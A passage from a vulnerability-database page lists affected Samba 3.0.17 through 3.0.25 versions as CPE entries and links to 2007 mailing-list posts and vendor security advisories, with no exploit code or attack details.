Samba>>Samba >> Version 3.0.17
- Samba>>Samba >> Version 3.0.17 (Open CPE detail)
Samba>>Samba >> Version 3.0.18
- Samba>>Samba >> Version 3.0.18 (Open CPE detail)
Samba>>Samba >> Version 3.0.19
- Samba>>Samba >> Version 3.0.19 (Open CPE detail)
Samba>>Samba >> Version 3.0.20
- Samba>>Samba >> Version 3.0.20 (Open CPE detail)
- Samba>>Samba >> Version 3.0.20 (Open CPE detail)
- Samba>>Samba >> Version 3.0.20 (Open CPE detail)
- Samba>>Samba >> Version 3.0.20 (Open CPE detail)
Samba>>Samba >> Version 3.0.20a
- Samba>>Samba >> Version 3.0.20a (Open CPE detail)
Samba>>Samba >> Version 3.0.20b
- Samba>>Samba >> Version 3.0.20b (Open CPE detail)
Samba>>Samba >> Version 3.0.21
- Samba>>Samba >> Version 3.0.21 (Open CPE detail)
- Samba>>Samba >> Version 3.0.21 (Open CPE detail)
- Samba>>Samba >> Version 3.0.21 (Open CPE detail)
- Samba>>Samba >> Version 3.0.21 (Open CPE detail)
- Samba>>Samba >> Version 3.0.21 (Open CPE detail)
Samba>>Samba >> Version 3.0.21a
- Samba>>Samba >> Version 3.0.21a (Open CPE detail)
Samba>>Samba >> Version 3.0.21b
- Samba>>Samba >> Version 3.0.21b (Open CPE detail)
Samba>>Samba >> Version 3.0.21c
- Samba>>Samba >> Version 3.0.21c (Open CPE detail)
Samba>>Samba >> Version 3.0.22
- Samba>>Samba >> Version 3.0.22 (Open CPE detail)
Samba>>Samba >> Version 3.0.23
- Samba>>Samba >> Version 3.0.23 (Open CPE detail)
- Samba>>Samba >> Version 3.0.23 (Open CPE detail)
- Samba>>Samba >> Version 3.0.23 (Open CPE detail)
- Samba>>Samba >> Version 3.0.23 (Open CPE detail)
- Samba>>Samba >> Version 3.0.23 (Open CPE detail)
- Samba>>Samba >> Version 3.0.23 (Open CPE detail)
Samba>>Samba >> Version 3.0.23a
- Samba>>Samba >> Version 3.0.23a (Open CPE detail)
Samba>>Samba >> Version 3.0.23b
- Samba>>Samba >> Version 3.0.23b (Open CPE detail)
Samba>>Samba >> Version 3.0.23c
- Samba>>Samba >> Version 3.0.23c (Open CPE detail)
Samba>>Samba >> Version 3.0.23d
- Samba>>Samba >> Version 3.0.23d (Open CPE detail)
Samba>>Samba >> Version 3.0.24
- Samba>>Samba >> Version 3.0.24 (Open CPE detail)
Samba>>Samba >> Version 3.0.25
- Samba>>Samba >> Version 3.0.25 (Open CPE detail)
Samba>>Samba >> Version 3.0.25
- Samba>>Samba >> Version 3.0.25 (Open CPE detail)
Samba>>Samba >> Version 3.0.25
- Samba>>Samba >> Version 3.0.25 (Open CPE detail)
Samba>>Samba >> Version 3.0.25
- Samba>>Samba >> Version 3.0.25 (Open CPE detail)
Samba>>Samba >> Version 3.0.25
- Samba>>Samba >> Version 3.0.25 (Open CPE detail)
References
http://www.securityfocus.com/archive/1/468672/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://lists.grok.org.uk/pipermail/full-disclosure/2007-September/065902.html
Tags : mailing-list, x_refsource_FULLDISC
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/archive/1/468673/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/archive/1/468674/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c01067768
Tags : vendor-advisory, x_refsource_HP
Tags : vendor-advisory, x_refsource_HP
http://www.openpkg.com/security/advisories/OpenPKG-SA-2007.012.html
Tags : vendor-advisory, x_refsource_OPENPKG
Tags : vendor-advisory, x_refsource_OPENPKG
http://www.securityfocus.com/archive/1/468675/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://lists.suse.com/archive/suse-security-announce/2007-May/0006.html
Tags : vendor-advisory, x_refsource_SUSE
Tags : vendor-advisory, x_refsource_SUSE
http://www.securityfocus.com/archive/1/468670/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://lists.apple.com/archives/security-announce//2007/Jul/msg00004.html
Tags : vendor-advisory, x_refsource_APPLE
Tags : vendor-advisory, x_refsource_APPLE
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c01078980
Tags : vendor-advisory, x_refsource_HP
Tags : vendor-advisory, x_refsource_HP
http://www.mandriva.com/security/advisories?name=MDKSA-2007:104
Tags : vendor-advisory, x_refsource_MANDRIVA
Tags : vendor-advisory, x_refsource_MANDRIVA
http://slackware.com/security/viewer.php?l=slackware-security&y=2007&m=slackware-security.475906
Tags : vendor-advisory, x_refsource_SLACKWARE
Tags : vendor-advisory, x_refsource_SLACKWARE
http://sunsolve.sun.com/search/document.do?assetkey=1-26-102964-1
Tags : vendor-advisory, x_refsource_SUNALERT
Tags : vendor-advisory, x_refsource_SUNALERT
http://www.securityfocus.com/archive/1/468542/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c01067768
Tags : vendor-advisory, x_refsource_HP
Tags : vendor-advisory, x_refsource_HP
http://sunsolve.sun.com/search/document.do?assetkey=1-66-200588-1
Tags : vendor-advisory, x_refsource_SUNALERT
Tags : vendor-advisory, x_refsource_SUNALERT
http://www.securityfocus.com/archive/1/468680/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11415
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
2025©
tesweb SA
